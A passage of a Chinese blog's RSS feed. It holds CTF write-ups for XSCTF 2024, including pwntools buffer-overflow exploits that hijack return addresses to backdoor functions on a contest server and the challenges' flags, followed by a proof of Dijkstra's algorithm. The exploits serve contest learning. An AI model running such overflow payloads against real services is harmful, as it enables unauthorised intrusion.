&lt;pre&gt;&lt;code&gt;from Crypto.Util.number import *

with open(&quot;devil&apos;s word.txt&quot;, &apos;r&apos;) as f:
    data = f.read().strip().split(&apos; &apos;) # 以空格为间隔提取词

table = {&apos;leng&apos;: &apos;0&apos;, &apos;lia&apos;: &apos;2&apos;, &apos;sa&apos;: &apos;3&apos;, &apos;sii&apos;: &apos;4&apos;, &apos;ng&apos;: &apos;5&apos;, &apos;leu&apos;: &apos;6&apos;, &apos;cai&apos;: &apos;7&apos;, &apos;bo&apos;: &apos;8&apos;, &apos;jau&apos;: &apos;9&apos;, &apos;a&apos;: &apos;a&apos;, &apos;b&apos;: &apos;b&apos;, &apos;c&apos;: &apos;c&apos;, &apos;d&apos;: &apos;d&apos;, &apos;e&apos;: &apos;e&apos;, &apos;f&apos;: &apos;f&apos;} # 单表替换

print(long_to_bytes(int(&apos;&apos;.join([table[n] for n in data]), 16))) # 拼接成ctr，以16进制方式解读成int，int转bytes
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;答案&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;XSCTF{nOw_y0u_kn0w_w3nzhou_di4lect}&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;rock_paper_scissors 题解&lt;/h2&gt;
&lt;h3&gt;思路&lt;/h3&gt;
&lt;p&gt;显然含有 &lt;code&gt;gets()&lt;/code&gt; 危险函数，触发条件是 &lt;code&gt;v10 &amp;gt; 5&lt;/code&gt;，即得分为 &lt;code&gt;6&lt;/code&gt;．&lt;/p&gt;
&lt;p&gt;&lt;s&gt;注意到&lt;/s&gt;存在后门函数 &lt;code&gt;final()&lt;/code&gt;，并且 checksec 发现没开 PIE，地址就是&lt;code&gt;0x4012E3&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;s&gt;注意到&lt;/s&gt;程序输出含有像 &lt;code&gt;当前得分：1&lt;/code&gt; 这样的格式，于是我们直接不断发送比如 &lt;code&gt;石头&lt;/code&gt;，直到接受到 &lt;code&gt;当前得分：6&lt;/code&gt; 退出循环，发送 payload，实现栈溢出，劫持执行流．&lt;/p&gt;
&lt;h3&gt;exp&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *
io = remote(&quot;43.248.97.213&quot;, 30666)
# io = process(&apos;./rock_paper_scissors&apos;)

io.recv()
for _ in range(30):       # 运气应该不会这么背吧...
    io.sendline(&apos;石头&apos;)
    if b&apos;6&apos; in io.recv():
        break

payload = b&apos;a&apos; * 0x30 + b&apos;b&apos; * 0x8 + p64(0x4012E3) # v5: rbp-30h，rbp占8字节，final()地址
io.sendline(payload)
io.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;答案&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;XSCTF{1bab71b8-117f-4dea-a047-340b72101d7b}&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;c_master 题解&lt;/h2&gt;
&lt;h3&gt;思路&lt;/h3&gt;
&lt;p&gt;程序提供了五种操作，最引人注目的莫过于 &lt;code&gt;read()&lt;/code&gt; 和对 &lt;code&gt;base&lt;/code&gt; 的偏移操作．&lt;/p&gt;
&lt;p&gt;其中 &lt;code&gt;read(0, &amp;amp;v6[v4], 8uLL)&lt;/code&gt; 只读入8个字节，覆盖不到 &lt;code&gt;rbp&lt;/code&gt; 的位置．&lt;/p&gt;
&lt;p&gt;但&lt;s&gt;注意到&lt;/s&gt; &lt;code&gt;v6&lt;/code&gt; 数组下标存在变量 &lt;code&gt;v4&lt;/code&gt;，并且 &lt;code&gt;v4&lt;/code&gt; 的值还可以受用户输入控制，这为覆盖 ret 提供空间．我们只需让 &lt;code&gt;v4&lt;/code&gt; 偏移三次 8 个字节，就可以从 ret 的地址开始读入，实现溢出．（&lt;code&gt;char v6[8]; [rbp-10h]&lt;/code&gt;，&lt;code&gt;10(hex) = 16(dec)&lt;/code&gt;，&lt;code&gt;rbp&lt;/code&gt;占8个字节）&lt;/p&gt;
&lt;p&gt;&lt;s&gt;注意到&lt;/s&gt;存在后门函数 &lt;code&gt;backdoor()&lt;/code&gt;．更令人欣喜的是，程序没开 PIE 保护，能直接得到 &lt;code&gt;backdoor()&lt;/code&gt; 地址．&lt;/p&gt;
&lt;h3&gt;exp&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

# io = process(&apos;./c_master&apos;)
io = remote(&apos;43.248.97.213&apos;, 30676)

pwn_addr = 0x4012C3

for _ in range(3):
    io.sendline(b&apos;base+=8;&apos;)
    io.sendline(b&apos;read(0,base,0x8);&apos;)
    io.sendline(p64(pwn_addr))    # pwn!
    io.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;答案&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;XSCTF{p1e4se_bec0me_4_c_m4ster_x5c7f}&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;Running~ 题解&lt;/h2&gt;
&lt;h3&gt;思路&lt;/h3&gt;
&lt;p&gt;发现是段 Javascript 代码．运行结果：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;__   __   _____    _____   _______   ______     __                              _____           _   _     _           _            ______                  __                  _  _     _     _    ___                              __             ____    _        __                                _     _                  __   
    \ \ / /  / ____|  / ____| |__   __| |  ____|   / /     /\                      |_   _|         (_) | |   (_)         | |          |  ____|                /_ |                | || |   | |   (_)  / _ \                            / _|           / __ \  | |      / _|                              | |   (_)                 \ \  
    \ V /  | (___   | |         | |    | |__     | |     /  \     _ __              | |    _ __    _  | |_   _    __ _  | |          | |__    __  __  _ __    | |   ___    _ __  | || |_  | |_   _  | | | |  _ __              ___   | |_           | |  | | | |__   | |_   _   _   ___    ___    __ _  | |_   _    ___    _ __    | | 
   &amp;gt; &amp;lt;    \___ \  | |         | |    |  __|   / /     / /\ \   | &apos;_ \             | |   | &apos;_ \  | | | __| | |  / _` | | |          |  __|   \ \/ / | &apos;_ \   | |  / _ \  | &apos;__| |__   _| | __| | | | | | | | &apos;_ \            / _ \  |  _|          | |  | | | &apos;_ \  |  _| | | | | / __|  / __|  / _` | | __| | |  / _ \  | &apos;_ \    \ \
  / . \   ____) | | |____     | |    | |      \ \    / ____ \  | | | |           _| |_  | | | | | | | |_  | | | (_| | | |          | |____   &amp;gt;  &amp;lt;  | |_) |  | | | (_) | | |       | |   | |_  | | | |_| | | | | |          | (_) | | |            | |__| | | |_) | | |   | |_| | \__ \ | (__  | (_| | | |_  | | | (_) | | | | |   / / 
    /_/ \_\ |_____/   \_____|    |_|    |_|       | |  /_/    \_\ |_| |_|          |_____| |_| |_| |_|  \__| |_|  \__,_| |_|          |______| /_/\_\ | .__/   |_|  \___/  |_|       |_|    \__| |_|  \___/  |_| |_|           \___/  |_|             \____/  |_.__/  |_|    \__,_| |___/  \___|  \__,_|  \__| |_|  \___/  |_| |_|  | | 
                                                \_\                     ______                                             ______                  | |                                                             ______                 ______                                                                                /_/  
                                                                       |______|                                           |______|                 |_|                                                            |______|               |______|                                                                                    ```
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;s&gt;什么鬼&lt;/s&gt;，等等，眯着眼睛能隐约看到 XSCTF 字样，直接看有点难看．&lt;/p&gt;
&lt;p&gt;欸👆🤓，我有一计：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./xsctf-2024-pre-shy-vector-wp-4.png&quot; alt=&quot;xsctf-2024-pre-shy-vector-wp-4&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;s&gt;停！缩小！缩小！再缩小！快看，每一个字符都看得清清楚楚！&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;小心 CTF 特色：&lt;code&gt;a-&amp;gt;4, l-&amp;gt;1, O&amp;lt;-&amp;gt;0&amp;lt;-&amp;gt;o&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;答案&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;XSCTF{An_Initial_Exp1or4ti0n_of_Obfuscation}&lt;/code&gt;&lt;/p&gt;
</content:encoded></item><item><title>Dijkstra 算法的正确性证明</title><link>https://fuwari.vercel.app/posts/algo/dijkstra-proof/dijkstra-proof/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/algo/dijkstra-proof/dijkstra-proof/</guid><description>Dijkstra 算法的核心思想是贪心，本文讲解它正确性的数学证明．</description><pubDate>Fri, 20 Sep 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Dijkstra 算法的核心思想是贪心，本文讲解它正确性的数学证明．&lt;/p&gt;
&lt;h2&gt;问题&lt;/h2&gt;
&lt;p&gt;给定一个非负权边的图，规定起点为 $u$，求从 $u$ 出发到每一个节点的最短路径．（求解&lt;strong&gt;非负权&lt;/strong&gt;图上&lt;strong&gt;单源&lt;/strong&gt;最短路径）&lt;/p&gt;
&lt;h2&gt;流程简述&lt;/h2&gt;
&lt;p&gt;将结点分成两个集合：已确定最短路长度的点集（记为 $S$ 集合）的和未确定最短路长度的点集（记为 $T$ 集合）．&lt;/p&gt;
&lt;p&gt;一开始所有的点都属于 $T$ 集合，$\mathrm{dis}(s) = 0$，其他点的 $\mathrm{dis}$ 均为 $+\infty$．&lt;/p&gt;
&lt;p&gt;然后重复这些操作：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;从 $T$ 集合中，选取一个最短路长度最小的结点，移到 $S$ 集合中；&lt;/li&gt;
&lt;li&gt;对那些刚刚被加入 $S$ 集合的结点的所有在 $T$ 内的邻接点更新 $\mathrm{dis}$．&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;直到 $T$ 集合为空，算法结束．&lt;/p&gt;
&lt;h2&gt;正确性证明&lt;/h2&gt;
&lt;p&gt;显然，Dijkstra算法的正确性取决于命题「每当一个结点 $v$ 加入 $S$ 集合时，此时 $\mathrm{dis}(v)$ 对应的路径 $r : u \rightarrow v$ 的长必为全局最短路径长 $D(v)$」的真伪．&lt;/p&gt;
&lt;p&gt;（反证法）&lt;strong&gt;假设存在另一条路径 $r&apos; : u \rightarrow v$ 为全局最短路径&lt;/strong&gt;，即
$$
D(v) &amp;lt; \mathrm{dis}(v)
$$
有一个非常重要的点：&lt;strong&gt;$r&apos;$ 的结点中除了终点 $v \in T$，必然存在另一点 $t \in T$&lt;/strong&gt;．&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;证明：（反证法）假设 $r&apos;$ 是&lt;strong&gt;只有终点 $v$ 在 $T$ 内的&lt;/strong&gt;路径．&lt;/p&gt;
&lt;p&gt;根据操作2，&lt;strong&gt;此时 $\mathrm{dis}(v)$ 已经被 $v$ 的所有在 $S$ 内的前驱结点更新（不单只是 $v$，$T$ 内所有的结点也被所有相应的前驱结点更新）&lt;/strong&gt;，对应的路径 $r$ 已经是所有&lt;strong&gt;只有终点 $v$ 在 $T$ 内的&lt;/strong&gt;路径 $u \rightarrow v$ 中&lt;strong&gt;最短&lt;/strong&gt;的一条路径，因此不存在另一条只有终点 $v$ 在 $T$ 内的路径 $r&apos;$，使得 $r&apos;$ 的路径长 $|r&apos;|$ 比 $r$ 的路径长 $|r|$ 短，与假设矛盾．&lt;/p&gt;
&lt;p&gt;故 $r&apos;$ 的结点中除了终点 $v \in T$，必然存在另一点 $t \in T$．&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./dijkstra-proof-1.png&quot; alt=&quot;dijkstra-proof-1&quot; /&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;因此不妨设路径$r&apos;$中&lt;strong&gt;第一个&lt;/strong&gt;在$T$内的结点为$t$．&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./dijkstra-proof-2.png&quot; alt=&quot;dijkstra-proof-2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;对于从 $T$ 中&lt;strong&gt;通过Dijkstra算法选出来的&lt;/strong&gt;结点 $v$，有另一个非常重要的点：&lt;strong&gt;所有在 $T$ 内的结点中，$\mathrm{dis}(v)$ 最小&lt;/strong&gt;．因此
$$
\mathrm{dis}(t) \ge \mathrm{dis}(v)
$$
&lt;strong&gt;在全局最短路径 $r&apos;$ 中&lt;/strong&gt;，设局部路径
$$
s_1:u \rightarrow t \qquad s_2:t \rightarrow v
$$
根据操作2，&lt;strong&gt;此时 $\mathrm{dis} (t)$ 已经被 $t$ 的所有在 $S$ 内的前驱结点更新&lt;/strong&gt;，因此 $\mathrm{dis} (t)$ 对应的路径已经是&lt;strong&gt;只有终点 $t$ 在 $T$ 内的最短路径&lt;/strong&gt;．因为 $s_1 \sube r&apos;$，所以 $s_1$ 必为 $u \rightarrow t$ 的&lt;strong&gt;全局&lt;/strong&gt;最短路径，又因为 $s_1$ 是只有终点 $t$ 在 $T$ 内的路径，故 $s_1$ 也为&lt;strong&gt;只有终点 $t$ 在 $T$ 内的最短路径&lt;/strong&gt;，因此有
$$
D(t) = \mathrm{dis} (t)
$$
&lt;strong&gt;在非负权图中&lt;/strong&gt;，有
$$
|s_2| \ge 0
$$
根据假设（路径 $r&apos;: u \rightarrow t \rightarrow v$ 为全局最短路径），有
$$
D(v) = D(t) + |s_2| = \mathrm{dis}(t) + |s_2| \ge \mathrm{dis}(t) \ge \mathrm{dis}(v) &amp;gt; D(v)
$$
这显然不成立，原命题得证．&lt;/p&gt;
</content:encoded></item></channel></rss>